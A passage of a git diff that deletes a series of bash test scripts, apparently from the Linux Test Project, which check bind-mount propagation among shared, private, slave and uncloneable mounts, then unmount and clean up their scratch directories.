-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" priv parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" priv parent1/child1
-
-	mount --bind parent1 share1
-	mount --bind "$disk1" parent1/child1
-
-	check -n  parent1/child1 share1/child1
-
-	mkdir parent2/child2
-
-	mount --bind parent1/child1 parent2/child2
-
-	check parent1/child1 parent2/child2
-
-	mount --bind "$disk2" parent1/child1/a
-
-	check -n  parent1/child1/a parent2/child2/a
-
-	mount --bind "$disk3" parent2/child2/b
-
-	check -n parent1/child1/b parent2/child2/b
-	check -n  parent1/child1 share1/child1
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "bind/test06: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "bind/test06: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/a
-	umount parent2/child2/b
-	umount parent2/child2
-	umount parent1/child1
-	umount parent1/child1
-	umount share1
-	umount share1
-	umount parent2
-	umount parent1
-
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-        tst_resm TFAIL "bind/test06: FAILED: bind: private child to private parent."
-        exit 1
-else
-        tst_resm TPASS "bind/test06: PASSED"
-        exit 0
-fi
-
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/bind/test07 b/testcases/kernel/fs/fs_bind/bind/test07
deleted file mode 100755
index 301ab30..0000000
--- a/testcases/kernel/fs/fs_bind/bind/test07
+++ /dev/null
@@ -1,113 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test07} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST07***************"
-tst_resm TINFO "bind: private child to slave parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of bind/test07 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" share parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-	"${FS_BIND_ROOT}/bin/makedir" priv parent1/child1
-
-	mount --bind parent1 share1
-	mount --bind "$disk1" parent1/child1
-
-	check -n  parent1/child1 share1/child1
-
-	mount --bind "$disk2" share2
-	mount --bind share2 parent2
-	"${FS_BIND_ROOT}/bin/makedir" slave parent2
-	#mount --bind "$disk2" share2
-
-	mkdir parent2/child2
-	check parent2 share2
-
-	mount --bind parent1/child1 parent2/child2
-
-	check parent1/child1 parent2/child2
-	check -n parent2/child2 share2/child2
-
-	mount --bind "$disk2" parent1/child1/a
-
-	check -n  parent1/child1/a parent2/child2/a
-
-	mount --bind "$disk3" parent2/child2/b
-
-	check -n parent1/child1/b parent2/child2/b
-	check -n  parent1/child1 share1/child1
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "bind/test07: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "bind/test07: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/a
-	umount parent2/child2/b
-	umount parent2/child2
-	umount parent1/child1
-	umount parent1/child1
-	umount share1
-	umount share1
-	umount share2
-	umount share2
-	umount share2
-	umount parent2
-	umount parent1
-
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-        tst_resm TFAIL "bind/test07: FAILED: bind: private child to slave parent."
-        exit 1
-else
-        tst_resm TPASS "bind/test07: PASSED"
-        exit 0
-fi
-
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/bind/test07-2 b/testcases/kernel/fs/fs_bind/bind/test07-2
deleted file mode 100755
index faf1e2f..0000000
--- a/testcases/kernel/fs/fs_bind/bind/test07-2
+++ /dev/null
@@ -1,69 +0,0 @@
-#!/bin/bash
-
-SETS_DEFAULTS="${TCID=test07-2} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST07-2***************"
-tst_resm TINFO "bind: create slave then mount master - slave still propagates."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of bind/test07-2 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-
-	mount --bind share2 parent2
-	"${FS_BIND_ROOT}/bin/makedir" slave parent2
-	mount --bind "$disk1" share2
-
-	check parent2 share2
-
-	mount --bind "$disk2" parent2/a
-
-	check -n parent2/a share2/a
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "bind/test07-2: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "bind/test07-2: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent2/a
-	umount parent2
-	umount parent2
-	umount parent2
-
-	umount share2
-	umount share2
-
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-        tst_resm TFAIL "bind/test07-2: FAILED: bind: create slave then mount master - slave still propagates."
-        exit 1
-else
-        tst_resm TPASS "bind/test07-2: PASSED"
-        exit 0
-fi
-
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/bind/test08 b/testcases/kernel/fs/fs_bind/bind/test08
deleted file mode 100755
index 2d8e808..0000000
--- a/testcases/kernel/fs/fs_bind/bind/test08
+++ /dev/null
@@ -1,102 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test08} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST08***************"
-tst_resm TINFO "bind: private child to uncloneable parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of bind/test08 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" unclone parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" priv parent1/child1
-
-	mount --bind parent1 share1
-	mount --bind "$disk1" parent1/child1
-
-	check -n  parent1/child1 share1/child1
-
-	mkdir parent2/child2
-
-	mount --bind parent1/child1 parent2/child2
-
-	check parent1/child1 parent2/child2
-
-	mount --bind "$disk2" parent1/child1/a
-
-	check -n  parent1/child1/a parent2/child2/a
-
-	mount --bind "$disk3" parent2/child2/b
-
-	check -n parent1/child1/b parent2/child2/b
-	check -n  parent1/child1 share1/child1
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "bind/test08: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "bind/test08: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/a
-	umount parent2/child2/b
-	umount parent2/child2
-	umount parent1/child1
-	umount parent1/child1
-	umount share1
-	umount share1
-	umount parent2
-	umount parent1
-
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-        tst_resm TFAIL "bind/test08: FAILED: bind: private child to uncloneable parent."
-        exit 1
-else
-        tst_resm TPASS "bind/test08: PASSED"
-        exit 0
-fi
-
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/bind/test09 b/testcases/kernel/fs/fs_bind/bind/test09
deleted file mode 100755
index 46ff0dc..0000000
--- a/testcases/kernel/fs/fs_bind/bind/test09
+++ /dev/null
@@ -1,113 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test09} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST09***************"
-tst_resm TINFO "bind: slave child to shared parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of bind/test09 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" share parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-	"${FS_BIND_ROOT}/bin/makedir" share parent1/child1
-
-	mount --bind parent2 share2
-	mount --bind share1 parent1/child1
-	mount --bind "$disk1" share1
-	"${FS_BIND_ROOT}/bin/makedir" slave parent1/child1
-
-	check parent1/child1 share1
-
-	mkdir parent2/child2
-
-	mount --bind parent1/child1 parent2/child2
-
-	check parent1/child1 parent2/child2
-
-	mount --bind "$disk2" parent1/child1/a
-
-	check -n  parent1/child1/a parent2/child2/a
-	check -n parent1/child1/a share1/a
-
-	mount --bind "$disk3" parent2/child2/b
-
-	check -n parent1/child1/b parent2/child2/b
-	check parent2/child2 share2/child2
-
-	mount --bind "$disk4" share1/c
-	check share1/c parent1/child1/c
-	check parent1/child1/c parent2/child2/c
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "bind/test09: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "bind/test09: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/a
-	umount parent2/child2/b
-	umount share1/c
-	umount parent2/child2
-	umount parent1/child1
-	umount parent1/child1
-	umount parent1/child1
-	umount share1
-	umount share2
-	umount share2
-	umount parent2
-	umount parent1
-
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-        tst_resm TFAIL "bind/test09: FAILED: bind: slave child to shared parent."
-        exit 1
-else
-        tst_resm TPASS "bind/test09: PASSED"
-        exit 0
-fi
-
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/bind/test10 b/testcases/kernel/fs/fs_bind/bind/test10
deleted file mode 100755
index ebfcf5a..0000000
--- a/testcases/kernel/fs/fs_bind/bind/test10
+++ /dev/null
@@ -1,108 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test10} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST10***************"
-tst_resm TINFO "bind: slave child to private parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of bind/test10 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" priv parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share parent1/child1
-
-	mount --bind share1 parent1/child1
-	mount --bind "$disk1" share1
-	"${FS_BIND_ROOT}/bin/makedir" slave parent1/child1
-
-	check parent1/child1 share1
-
-	mkdir parent2/child2
-
-	mount --bind parent1/child1 parent2/child2
-
-	check parent1/child1 parent2/child2
-
-	mount --bind "$disk2" parent1/child1/a
-
-	check -n  parent1/child1/a parent2/child2/a
-	check -n parent1/child1/a share1/a
-
-	mount --bind "$disk3" parent2/child2/b
-
-	check -n parent1/child1/b parent2/child2/b
-
-	mount --bind "$disk4" share1/c
-	check share1/c parent1/child1/c
-	check parent1/child1/c parent2/child2/c
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "bind/test10: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "bind/test10: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/a
-	umount parent2/child2/b
-	umount share1/c
-	umount parent2/child2
-	umount parent1/child1
-	umount parent1/child1
-	umount parent1/child1
-	umount share1
-	umount parent2
-	umount parent1
-
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-        tst_resm TFAIL "bind/test10: FAILED: bind: slave child to private parent."
-        exit 1
-else
-        tst_resm TPASS "bind/test10: PASSED"
-        exit 0
-fi
-
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/bind/test11 b/testcases/kernel/fs/fs_bind/bind/test11
deleted file mode 100755
index e1b70e1..0000000
--- a/testcases/kernel/fs/fs_bind/bind/test11
+++ /dev/null
@@ -1,116 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test11} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST11***************"
-tst_resm TINFO "bind: slave child to slave parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of bind/test11 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" share parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-	"${FS_BIND_ROOT}/bin/makedir" share parent1/child1
-
-	mount --bind parent2 share2
-	mount --bind share1 parent1/child1
-	mount --bind "$disk1" share1
-	mount --bind "$disk2" share2
-	"${FS_BIND_ROOT}/bin/makedir" slave parent1/child1
-	"${FS_BIND_ROOT}/bin/makedir" slave parent2
-
-	mkdir parent2/child2
-
-	check parent1/child1 share1
-	check parent2 share2
-
-	mount --bind parent1/child1 parent2/child2
-
-	check parent1/child1 parent2/child2
-
-	mount --bind "$disk3" parent1/child1/a
-
-	check -n  parent1/child1/a parent2/child2/a
-	check -n parent1/child1/a share1/a
-
-	mount --bind "$disk4" parent2/child2/b
-
-	check -n parent1/child1/b parent2/child2/b
-	check -n parent2/child2 share2/child2
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "bind/test11: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "bind/test11: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent2/child2/b
-
-	mount --bind "$disk4" share1/c
-	check share1/c parent1/child1/c
-	check parent1/child1/c parent2/child2/c
-
-	umount parent1/child1/a
-	umount share1/c
-	umount parent2/child2
-	umount parent1/child1
-	umount parent1/child1
-	umount parent1/child1
-	umount share1
-	umount parent2
-	umount parent2
-	umount parent2
-	umount parent2
-	umount parent1
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-        tst_resm TFAIL "bind/test11: FAILED: bind: slave child to slave parent."
-        exit 1
-else
-        tst_resm TPASS "bind/test11: PASSED"
-        exit 0
-fi
-
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/bind/test12 b/testcases/kernel/fs/fs_bind/bind/test12
deleted file mode 100755
index 307e6da..0000000
--- a/testcases/kernel/fs/fs_bind/bind/test12
+++ /dev/null
@@ -1,108 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test12} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST12***************"
-tst_resm TINFO "bind: slave child to uncloneable parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of bind/test12 failed" && tst_exit)
-export result=0
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" unclone parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share parent1/child1
-
-	mount --bind share1 parent1/child1
-	mount --bind "$disk1" share1
-	"${FS_BIND_ROOT}/bin/makedir" slave parent1/child1
-
-	check parent1/child1 share1
-
-	mkdir parent2/child2
-
-	mount --bind parent1/child1 parent2/child2
-
-	check parent1/child1 parent2/child2
-
-	mount --bind "$disk2" parent1/child1/a
-
-	check -n  parent1/child1/a parent2/child2/a
-	check -n parent1/child1/a share1/a
-
-	mount --bind "$disk3" parent2/child2/b
-
-	check -n parent1/child1/b parent2/child2/b
-
-	mount --bind "$disk4" share1/c
-	check share1/c parent1/child1/c
-	check parent1/child1/c parent2/child2/c
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "bind/test12: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "bind/test12: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/a
-	umount parent2/child2/b
-	umount share1/c
-	umount parent2/child2
-	umount parent1/child1
-	umount parent1/child1
-	umount parent1/child1
-	umount parent2
-	umount share1
-	umount parent1
-
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -ne 0 ]
-then
-        tst_resm TFAIL "bind/test12: FAILED: bind: slave child to uncloneable parent."
-        exit 1
-else
-        tst_resm TPASS "bind/test12: PASSED"
-        exit 0
-fi
-
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/bind/test13 b/testcases/kernel/fs/fs_bind/bind/test13
deleted file mode 100755
index ed559ec..0000000
--- a/testcases/kernel/fs/fs_bind/bind/test13
+++ /dev/null
@@ -1,90 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test13} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST13***************"
-tst_resm TINFO "bind: uncloneable child to shared parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of bind/test13 failed" && tst_exit)
-export result=0
-
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" share parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" share share2
-	"${FS_BIND_ROOT}/bin/makedir" unclone parent1/child1
-
-	mount --bind parent1 share1
-	mount --bind parent2 share2
-	mkdir parent1/child1/x
-	mount --bind "$disk1" parent1/child1/x
-	mkdir parent2/child2
-	mount --bind parent1/child1 parent2/child2 2> /dev/null || result=$? # mount should fail
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "bind/test13: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "bind/test13: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/x
-	umount parent1/child1
-	umount share1
-	umount share1
-	umount share2
-	umount share2
-	umount parent2
-	umount parent1
-
-
-	rm -rf parent* share*
-	cleanup
-} >& /dev/null
-if [ $result -eq 0 ]
-then
-        tst_resm TFAIL "bind/test13: FAILED: bind: uncloneable child to shared parent."
-        exit 1
-else
-        tst_resm TPASS "bind/test13: PASSED"
-        exit 0
-fi
-
-
-tst_exit
diff --git a/testcases/kernel/fs/fs_bind/bind/test14 b/testcases/kernel/fs/fs_bind/bind/test14
deleted file mode 100755
index 6015b9a..0000000
--- a/testcases/kernel/fs/fs_bind/bind/test14
+++ /dev/null
@@ -1,86 +0,0 @@
-#!/bin/bash
-
-#
-# Copyright (c) International Business Machines  Corp., 2005
-# Author: Avantika Mathur (mathurav@us.ibm.com)
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-#
-
-SETS_DEFAULTS="${TCID=test14} ${TST_COUNT=1} ${TST_TOTAL=1}"
-declare -r TCID
-declare -r TST_COUNT
-declare -r TST_TOTAL
-export TCID TST_COUNT TST_TOTAL
-
-tst_resm TINFO "***************TEST14***************"
-tst_resm TINFO "bind: uncloneable child to private parent."
-tst_resm TINFO "************************************"
-
-. "${FS_BIND_ROOT}/bin/setup" || (tst_resm TWARN "Setup of bind/test14 failed" && tst_exit)
-export result=0
-
-
-
-
-trap 'ERR=$? ; ERR_MSG="caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"; break' ERR
-
-while /bin/true ; do
-	# This loop is for error recovery purposes only
-
-
-	"${FS_BIND_ROOT}/bin/makedir" share parent1
-	"${FS_BIND_ROOT}/bin/makedir" priv parent2
-	"${FS_BIND_ROOT}/bin/makedir" share share1
-	"${FS_BIND_ROOT}/bin/makedir" unclone parent1/child1
-	mkdir parent1/child1/x
-
-	mount --bind parent1 share1
-	mount --bind "$disk1" parent1/child1/x
-	mkdir parent2/child2
-	mount --bind parent1/child1 parent2/child2 2> /dev/null || result=$? # mount should fail
-
-	break
-done
-trap 'ERR=$? ; tst_resm TWARN "bind/test14: caught error near: ${BASH_SOURCE[0]}:${FUNCNAME[0]}:${LINENO}:$_ (returned ${ERR})"' ERR
-if [ -n "${ERR_MSG}" ]; then
-	tst_resm TWARN "bind/test14: ${ERR_MSG}"
-	ERR_MSG=""
-	result=$ERR
-fi
-trap '' ERR
-{
-	umount parent1/child1/x
